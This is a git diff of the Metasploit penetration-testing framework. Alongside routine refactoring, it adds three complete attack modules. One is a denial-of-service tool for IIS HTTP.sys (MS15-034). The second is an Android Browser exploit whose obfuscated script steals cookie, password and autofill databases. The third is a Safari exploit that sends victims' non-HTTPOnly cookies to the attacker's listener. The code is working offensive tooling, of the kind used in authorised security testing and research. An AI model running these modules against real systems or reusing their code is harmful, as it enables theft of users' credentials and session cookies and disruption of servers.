||||
type, env, vis, vac, info[:game_version], _edf = body.unpack("CZ*Z*Z*Z*SCCCCCCCZ*C")
|
||||
|
||||
# translate type
|
||||
case type
|
||||
when 100 # d
|
||||
server_type = 'Dedicated'
|
||||
when 108 # l
|
||||
server_type = 'Non-dedicated'
|
||||
when 112 # p
|
||||
server_type = 'SourceTV relay (proxy)'
|
||||
else
|
||||
server_type = "Unknown (#{type})"
|
||||
end
|
||||
info[:type] = server_type
|
||||
|
||||
# translate environment
|
||||
case env
|
||||
when 108 # l
|
||||
server_env = 'Linux'
|
||||
when 119 # w
|
||||
server_env = 'Windows'
|
||||
when 109 # m
|
||||
when 111 # o
|
||||
server_env = 'Mac'
|
||||
else
|
||||
server_env = "Unknown (#{env})"
|
||||
end
|
||||
info[:environment] = server_env
|
||||
|
||||
# translate visibility
|
||||
case vis
|
||||
when 0
|
||||
server_vis = 'public'
|
||||
when 1
|
||||
server_vis = 'private'
|
||||
else
|
||||
server_vis = "Unknown (#{vis})"
|
||||
end
|
||||
info[:visibility] = server_vis
|
||||
|
||||
# translate VAC
|
||||
case vac
|
||||
when 0
|
||||
server_vac = 'unsecured'
|
||||
when 1
|
||||
server_vac = 'secured'
|
||||
else
|
||||
server_vac = "Unknown (#{vac})"
|
||||
end
|
||||
info[:VAC] = server_vac
|
||||
|
||||
# format players/max
|
||||
info[:players] = "#{players}/#{players_max}"
|
||||
|
||||
# TODO: parse EDF
|
||||
info
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,5 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
|
||||
# A quick way to produce unique random strings that follow the rules of
|
||||
# identifiers, i.e., begin with a letter and contain only alphanumeric
|
||||
# characters and underscore.
|
||||
|
|
|
@ -3,7 +3,7 @@ require 'digest/md5'
|
|||
require 'digest/sha1'
|
||||
require 'stringio'
|
||||
require 'cgi'
|
||||
require 'rex/exploitation/powershell'
|
||||
require 'rex/powershell'
|
||||
|
||||
%W{ iconv zlib }.each do |libname|
|
||||
begin
|
||||
|
@ -308,7 +308,7 @@ module Text
|
|||
# Converts a raw string to a powershell byte array
|
||||
#
|
||||
def self.to_powershell(str, name = "buf")
|
||||
return Rex::Exploitation::Powershell::Script.to_byte_array(str, name)
|
||||
return Rex::Powershell::Script.to_byte_array(str, name)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -30,9 +30,6 @@ class Output
|
|||
def print_good(msg='')
|
||||
end
|
||||
|
||||
def print_debug(msg='')
|
||||
end
|
||||
|
||||
#
|
||||
# Prints a status line.
|
||||
#
|
||||
|
|
|
@ -56,16 +56,6 @@ module Subscriber
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Wraps user_output.print_debug
|
||||
#
|
||||
def print_debug(msg='')
|
||||
if (user_output)
|
||||
print_blank_line if user_output.prompting?
|
||||
user_output.print_debug(msg)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Wraps user_output.print_warning
|
||||
#
|
||||
|
|
|
@ -55,10 +55,6 @@ class Output < Rex::Ui::Output
|
|||
print_line("%bld%grn[+]%clr #{msg}")
|
||||
end
|
||||
|
||||
def print_debug(msg = '')
|
||||
print_line("%bld%cya[!]%clr #{msg}")
|
||||
end
|
||||
|
||||
def print_status(msg = '')
|
||||
print_line("%bld%blu[*]%clr #{msg}")
|
||||
end
|
||||
|
|
|
@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
#spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter on Windows, soon others.
|
||||
spec.add_runtime_dependency 'meterpreter_bins', '0.0.21'
|
||||
spec.add_runtime_dependency 'meterpreter_bins', '0.0.22'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
|
|
|
@ -132,7 +132,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
case action.name
|
||||
when 'Deploy'
|
||||
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
|
||||
fail_with("Unable to open WARFILE")
|
||||
fail_with(Failure::BadConfig, "Unable to open WARFILE")
|
||||
end
|
||||
war_data = File.read(datastore['WARFILE'])
|
||||
deploy_action(app_base, war_data)
|
||||
|
|
|
@ -57,7 +57,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
}, 60)
|
||||
|
||||
if !users or users.code != 200
|
||||
fail_with("Invalid response. Check your credentials and that the server is correct.")
|
||||
fail_with(Failure::NoAccess, "Invalid response. Check your credentials and that the server is correct.")
|
||||
end
|
||||
|
||||
xml = path = id = other_id = '' #for later use
|
||||
|
|
|
@ -84,6 +84,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
report_note(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:type => 'apache.killer',
|
||||
:data => "Apache Byte-Range DOS at #{path}"
|
||||
)
|
||||
|
||||
|
|
|
@ -0,0 +1,135 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Watch out, dos all the things
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service',
|
||||
'Description' => %q{
|
||||
This module will check if your hosts are vulnerable to CVE-2015-1635 (MS15-034). A
|
||||
vulnerability in the HTTP Protocol stack (HTTP.sys) that could result in arbitrary code
|
||||
execution. This module will try to cause a denial-of-service.
|
||||
|
||||
Please note that you must supply a valid file resource for the TARGETURI option.
|
||||
By default, IIS may come with these settings that you could try: iisstart.htm,
|
||||
welcome.png, iis-85.png, etc.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
# Bill did all the work (see the pastebin code), twitter: @hectorh56193716
|
||||
'Bill Finlayson',
|
||||
# MSF. But really, these people made it happen:
|
||||
# https://github.com/rapid7/metasploit-framework/pull/5150
|
||||
'sinn3r'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-1635'],
|
||||
['MSB', 'MS15-034'],
|
||||
['URL', 'http://pastebin.com/ypURDPc4'],
|
||||
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],
|
||||
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],
|
||||
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'A valid file resource', '/welcome.png'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def upper_range
|
||||
0xFFFFFFFFFFFFFFFF
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
if check_host(ip) == Exploit::CheckCode::Vulnerable
|
||||
dos_host(ip)
|
||||
else
|
||||
print_status("#{ip}:#{rport} - Probably not vulnerable, will not dos it.")
|
||||
end
|
||||
end
|
||||
|
||||
def get_file_size(ip)
|
||||
@file_size ||= lambda {
|
||||
file_size = -1
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_raw({'uri'=>uri})
|
||||
|
||||
unless res
|
||||
vprint_error("#{ip}:#{rport} - Connection timed out")
|
||||
return file_size
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
|
||||
return file_size
|
||||
end
|
||||
|
||||
file_size = res.body.length
|
||||
vprint_status("#{ip}:#{rport} - File length: #{file_size} bytes")
|
||||
|
||||
return file_size
|
||||
}.call
|
||||
end
|
||||
|
||||
|
||||
def dos_host(ip)
|
||||
file_size = get_file_size(ip)
|
||||
lower_range = file_size - 2
|
||||
|
||||
# In here we have to use Rex because if we dos it, it causes our module to hang too
|
||||
uri = normalize_uri(target_uri.path)
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(ip)
|
||||
cli.connect
|
||||
req = cli.request_raw({
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Range' => "bytes=#{lower_range}-#{upper_range}"
|
||||
}
|
||||
})
|
||||
cli.send_request(req)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
# Same exceptions the HttpClient mixin catches
|
||||
end
|
||||
print_status("#{ip}:#{rport} - DOS request sent")
|
||||
end
|
||||
|
||||
|
||||
def check_host(ip)
|
||||
return Exploit::CheckCode::Unknown if get_file_size(ip) == -1
|
||||
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_raw({
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Range' => "bytes=0-#{upper_range}"
|
||||
}
|
||||
})
|
||||
if res && res.body.include?('Requested Range Not Satisfiable')
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res && res.body.include?('The request has an invalid header name')
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -129,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
|
||||
space_to_fill = size_bytes - empty_xml.size
|
||||
vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes")
|
||||
vprint_status("#{peer} - max XML space to fill: #{space_to_fill} bytes")
|
||||
|
||||
payload = "&#{entity};" * (space_to_fill / 6)
|
||||
entity_value_length = space_to_fill - payload.length
|
||||
|
|
|
@ -0,0 +1,183 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/jsobfu'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::JSObfu
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Browser File Theft',
|
||||
'Description' => %q{
|
||||
This module steals the cookie, password, and autofill databases from the
|
||||
Browser application on AOSP 4.3 and below.
|
||||
},
|
||||
'Author' => [
|
||||
'Rafay Baloch', # Found UXSS bug in Android Browser
|
||||
'joev' # File redirect and msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [[ 'WebServer' ]],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'References' =>
|
||||
[
|
||||
# patch for file redirection, 2014
|
||||
['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],
|
||||
['URL', 'https://code.google.com/p/chromium/issues/detail?id=90222'] # the UXSS
|
||||
],
|
||||
'DefaultAction' => 'WebServer'
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('ADDITIONAL_FILES', [
|
||||
false,
|
||||
'Comma-separated list of addition file URLs to steal.',
|
||||
]),
|
||||
OptBool.new('DEFAULT_FILES', [
|
||||
true,
|
||||
'Steals a default set of file URLs',
|
||||
true
|
||||
])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
exploit
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if request.method.downcase == 'post'
|
||||
process_post(cli, request)
|
||||
send_response_html(cli, '')
|
||||
else
|
||||
print_status('Sending exploit landing page...')
|
||||
send_response_html(cli, exploit_html)
|
||||
end
|
||||
end
|
||||
|
||||
def process_post(cli, request)
|
||||
data = JSON.parse(request.body)
|
||||
contents = hex2bin(data['data'])
|
||||
file = File.basename(data['url'])
|
||||
print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}")
|
||||
loot_path = store_loot(
|
||||
file,
|
||||
'application/x-sqlite3',
|
||||
cli.peerhost,
|
||||
contents,
|
||||
File.basename(data['url']),
|
||||
"#{cli.peerhost.ljust(16)} Android browser file"
|
||||
)
|
||||
print_good("Saved to: #{loot_path}")
|
||||
end
|
||||
|
||||
|
||||
def file_urls
|
||||
default_urls = [
|
||||
'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db',
|
||||
'file:///data/data/com.android.browser/databases/webview.db',
|
||||
'file:///data/data/com.android.browser/databases/autofill.db',
|
||||
'file:///data/data/com.android.browser/databases/browser2.db',
|
||||
'file:///data/data/com.android.browser/app_appcache/ApplicationCache.db',
|
||||
'file:///data/data/com.android.browser/app_databases/Databases.db',
|
||||
'file:///data/data/com.android.browser/databases/webviewCookiesChromiumPrivate.db'
|
||||
]
|
||||
|
||||
unless datastore['DEFAULT_FILES']
|
||||
default_urls = []
|
||||
end
|
||||
|
||||
default_urls + (datastore['ADDITIONAL_FILES']||'').split(',')
|
||||
end
|
||||
|
||||
def exploit_html
|
||||
%Q|
|
||||
<!doctype html>
|
||||
<html>
|
||||
<body>
|
||||
<script>#{exploit_js}</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
def exploit_js
|
||||
js_obfuscate %Q|
|
||||
window.onmessage = function(e) {
|
||||
var x = new XMLHttpRequest;
|
||||
x.open("POST", location.href);
|
||||
x.send(JSON.stringify(e.data))
|
||||
};
|
||||
|
||||
|
||||
function xss() {
|
||||
var urls = (#{JSON.generate(file_urls)});
|
||||
function tick() {
|
||||
setTimeout(function() { next(urls.shift()); });
|
||||
};
|
||||
window.onmessage = tick;
|
||||
|
||||
function next(url) {
|
||||
if (!url) return;
|
||||
try {
|
||||
var f = document.createElement('iframe');
|
||||
f.src = url;
|
||||
f.onload = function() {
|
||||
f.onload = null;
|
||||
function nested() {
|
||||
var x = new XMLHttpRequest;
|
||||
x.open('GET', location.href);
|
||||
x.responseType = 'arraybuffer';
|
||||
x.send();
|
||||
x.onload = function() {
|
||||
var buff = new Uint8Array(x.response);
|
||||
var hex = Array.prototype.map.call(buff, function(d) {
|
||||
var c = d.toString(16);
|
||||
return (c.length < 2) ? 0+c : c;
|
||||
}).join(new String);
|
||||
/*ensures there are no 'not allowed' responses that appear to be valid data*/
|
||||
if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') === -1) {
|
||||
top.postMessage({data:hex,url:location.href}, '*');
|
||||
}
|
||||
parent.postMessage(1,'*');
|
||||
};
|
||||
x.onerror = function() {
|
||||
parent.postMessage(1,'*');
|
||||
};
|
||||
}
|
||||
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';
|
||||
f.contentWindow.location = "";
|
||||
};
|
||||
document.body.appendChild(f);
|
||||
} catch(e) {t();}
|
||||
};
|
||||
|
||||
tick();
|
||||
|
||||
}
|
||||
|
||||
var brokenFrame = document.createElement('iframe');
|
||||
brokenFrame.src = 'http://localhost:100';
|
||||
brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
|
||||
brokenFrame.onload = function() {
|
||||
brokenFrame.onload = null;
|
||||
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';
|
||||
brokenFrame.contentWindow.location = "";
|
||||
};
|
||||
document.body.appendChild(brokenFrame);
|
||||
|
|
||||
end
|
||||
|
||||
# TODO: Make this a proper Rex::Text function
|
||||
def hex2bin(hex)
|
||||
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
|
||||
end
|
||||
|
||||
end
|
|
@ -117,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
response = JSON.parse(request.body)
|
||||
rescue JSON::ParserError
|
||||
print_bad "Invalid JSON request."
|
||||
print_error "Invalid JSON request."
|
||||
else
|
||||
url = response['url']
|
||||
if response && url
|
||||
|
|
|
@ -0,0 +1,261 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/service_manager'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::FtpServer
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft',
|
||||
'Description' => %q{
|
||||
A vulnerability exists in versions of OSX/iOS/Windows Safari released
|
||||
before April 8, 2015 that allows the non-HTTPOnly cookies of any
|
||||
domain to be stolen.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Jouko Pynnonen', # Initial discovery and disclosure
|
||||
'joev', # msf module
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2015-1126' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Apr/30' ]
|
||||
],
|
||||
'Actions' => [ [ 'WebServer' ] ],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'DefaultAction' => 'WebServer',
|
||||
'DisclosureDate' => 'Apr 8 2015'
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('URIPATH', [false, 'The URI to use for this exploit (default is random)']),
|
||||
OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]),
|
||||
OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]),
|
||||
OptString.new('TARGET_DOMAINS', [
|
||||
true,
|
||||
'The comma-separated list of domains to steal non-HTTPOnly cookies from.',
|
||||
'apple.com,example.com'
|
||||
])
|
||||
], self.class )
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Start the FTP and HTTP server
|
||||
#
|
||||
def run
|
||||
start_service
|
||||
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
|
||||
start_http
|
||||
@http_service.wait
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Handle the HTTP request and return a response. Code borrowed from:
|
||||
# msf/core/exploit/http/server.rb
|
||||
#
|
||||
def start_http(opts={})
|
||||
# Ensture all dependencies are present before initializing HTTP
|
||||
use_zlib
|
||||
|
||||
comm = datastore['ListenerComm']
|
||||
if comm.to_s == 'local'
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
# Default the server host / port
|
||||
opts = {
|
||||
'ServerHost' => datastore['SRVHOST'],
|
||||
'ServerPort' => datastore['HTTPPORT'],
|
||||
'Comm' => comm
|
||||
}.update(opts)
|
||||
|
||||
# Start a new HTTP server
|
||||
@http_service = Rex::ServiceManager.start(
|
||||
Rex::Proto::Http::Server,
|
||||
opts['ServerPort'].to_i,
|
||||
opts['ServerHost'],
|
||||
datastore['SSL'],
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
opts['Comm'],
|
||||
datastore['SSLCert']
|
||||
)
|
||||
|
||||
@http_service.server_name = datastore['HTTP::server_name']
|
||||
|
||||
# Default the procedure of the URI to on_request_uri if one isn't
|
||||
# provided.
|
||||
uopts = {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
},
|
||||
'Path' => resource_uri
|
||||
}.update(opts['Uri'] || {})
|
||||
|
||||
proto = (datastore['SSL'] ? 'https' : 'http')
|
||||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
|
||||
if opts['ServerHost'] == '0.0.0.0'
|
||||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
end
|
||||
|
||||
# Add path to resource
|
||||
@service_path = uopts['Path']
|
||||
@http_service.add_resource(uopts['Path'], uopts)
|
||||
end
|
||||
|
||||
#
|
||||
# Lookup the right address for the client
|
||||
#
|
||||
def lookup_lhost(c=nil)
|
||||
# Get the source address
|
||||
if datastore['SRVHOST'] == '0.0.0.0'
|
||||
Rex::Socket.source_address( c || '50.50.50.50')
|
||||
else
|
||||
datastore['SRVHOST']
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
|
||||
#
|
||||
def on_client_command_retr(c, arg)
|
||||
conn = establish_data_connection(c)
|
||||
unless conn
|
||||
c.put("425 can't build data connection\r\n")
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Connection for file transfer accepted')
|
||||
c.put("150 Connection accepted\r\n")
|
||||
|
||||
# Send out payload
|
||||
conn.put(exploit_html)
|
||||
c.put("226 Transfer complete.\r\n")
|
||||
conn.close
|
||||
end
|
||||
|
||||
#
|
||||
# Kill HTTP/FTP (shut them down and clear resources)
|
||||
#
|
||||
def cleanup
|
||||
super
|
||||
|
||||
# clear my resource, deregister ref, stop/close the HTTP socket
|
||||
begin
|
||||
@http_service.remove_resource(@uri_path)
|
||||
@http_service.deref
|
||||
@http_service.stop
|
||||
@http_service.close
|
||||
@http_service = nil
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Ensures that gzip can be used. If not, an exception is generated. The
|
||||
# exception is only raised if the DisableGzip advanced option has not been
|
||||
# set.
|
||||
#
|
||||
def use_zlib
|
||||
unless Rex::Text.zlib_present? || datastore['HTTP::compression'] == false
|
||||
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the configured (or random, if not configured) URI path
|
||||
#
|
||||
def resource_uri
|
||||
return @uri_path if @uri_path
|
||||
|
||||
@uri_path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8))
|
||||
@uri_path = '/' + @uri_path if @uri_path !~ /^\//
|
||||
@uri_path
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Handle HTTP requets and responses
|
||||
#
|
||||
def on_request_uri(cli, request)
|
||||
if request.method.downcase == 'post'
|
||||
json = JSON.parse(request.body)
|
||||
domain = json['domain']
|
||||
cookie = Rex::Text.decode_base64(json['p']).to_s
|
||||
if cookie.length == 0
|
||||
print_error("#{cli.peerhost}: No cookies found for #{domain}")
|
||||
else
|
||||
file = store_loot(
|
||||
"cookie_#{domain}", 'text/plain', cli.peerhost, cookie, 'cookie', 'Stolen cookies'
|
||||
)
|
||||
print_good("#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): ")
|
||||
print_good(file)
|
||||
end
|
||||
send_response(cli, 200, 'OK', '')
|
||||
else
|
||||
domains = datastore['TARGET_DOMAINS'].split(',')
|
||||
iframes = domains.map do |domain|
|
||||
%Q|<iframe style='position:fixed;top:-99999px;left:-99999px;height:0;width:0;'
|
||||
src='ftp://user%40#{lookup_lhost}%3A#{datastore['SRVPORT']}%2Findex.html%23@#{domain}/'>
|
||||
</iframe>|
|
||||
end
|
||||
|
||||
html = <<-HTML
|
||||
<html>
|
||||
<body>
|
||||
#{iframes.join}
|
||||
</body>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
send_response(cli, 200, 'OK', html)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Create an HTTP response and then send it
|
||||
#
|
||||
def send_response(cli, code, message='OK', html='')
|
||||
proto = Rex::Proto::Http::DefaultProtocol
|
||||
res = Rex::Proto::Http::Response.new(code, message, proto)
|
||||
res['Content-Type'] = 'text/html'
|
||||
res.body = html
|
||||
|
||||
cli.send_response(res)
|
||||
end
|
||||
|
||||
def exploit_html
|
||||
<<-HTML
|
||||
<html><body>
|
||||
<script>
|
||||
var p = window.btoa(document.cookie);
|
||||
var x = new XMLHttpRequest();
|
||||
x.open('POST', "http://#{lookup_lhost}:#{datastore['HTTPPORT']}#{resource_uri}")
|
||||
x.setRequestHeader('Content-type', 'text/plain');
|
||||
x.send(JSON.stringify({p: p, domain: document.domain}));
|
||||
</script>
|
||||
</body></html>
|
||||
HTML
|
||||
end
|
||||
|
||||
def grab_key
|
||||
@grab_key ||= Rex::Text.rand_text_alphanumeric(8)
|
||||
end
|
||||
|
||||
end
|
|
@ -101,7 +101,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# Verify if session cookie is valid and return user's ID
|
||||
#
|
||||
def get_user_id
|
||||
# print_debug("#{peer} - Trying to hijack session '#{@cookie}'")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
|
||||
'cookie' => @cookie
|
||||
|
@ -121,7 +120,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# Construct cookie using token
|
||||
#
|
||||
def create_cookie(token)
|
||||
# print_debug("#{peer} - Creating a cookie with token '#{token}'")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
|
||||
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"
|
||||
|
|
|
@ -63,13 +63,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
})
|
||||
|
||||
if !res or !res.body
|
||||
fail_with("Server did not respond in an expected way")
|
||||
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")
|
||||
end
|
||||
|
||||
file = /For input string: "(.*)"/m.match(res.body)
|
||||
|
||||
if !file or file.length < 2
|
||||
fail_with("File was unretrievable. Was it a binary file?")
|
||||
fail_with(Failure::UnexpectedReply, "File was unretrievable. Was it a binary file?")
|
||||
end
|
||||
|
||||
file = file[1]
|
||||
|
@ -79,4 +79,3 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good("File saved to: " + path)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -330,7 +330,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
i, a = 0, []
|
||||
# Most common SRV Records
|
||||
srvrcd = [
|
||||
"_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp","_test._tcp.",
|
||||
"_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.",
|
||||
"_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.",
|
||||
"_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp.","_h323cs._tcp.",
|
||||
"_h323cs._udp.","_h323be._tcp.","_h323be._udp.","_h323ls._tcp.","_h323ls._udp.",
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue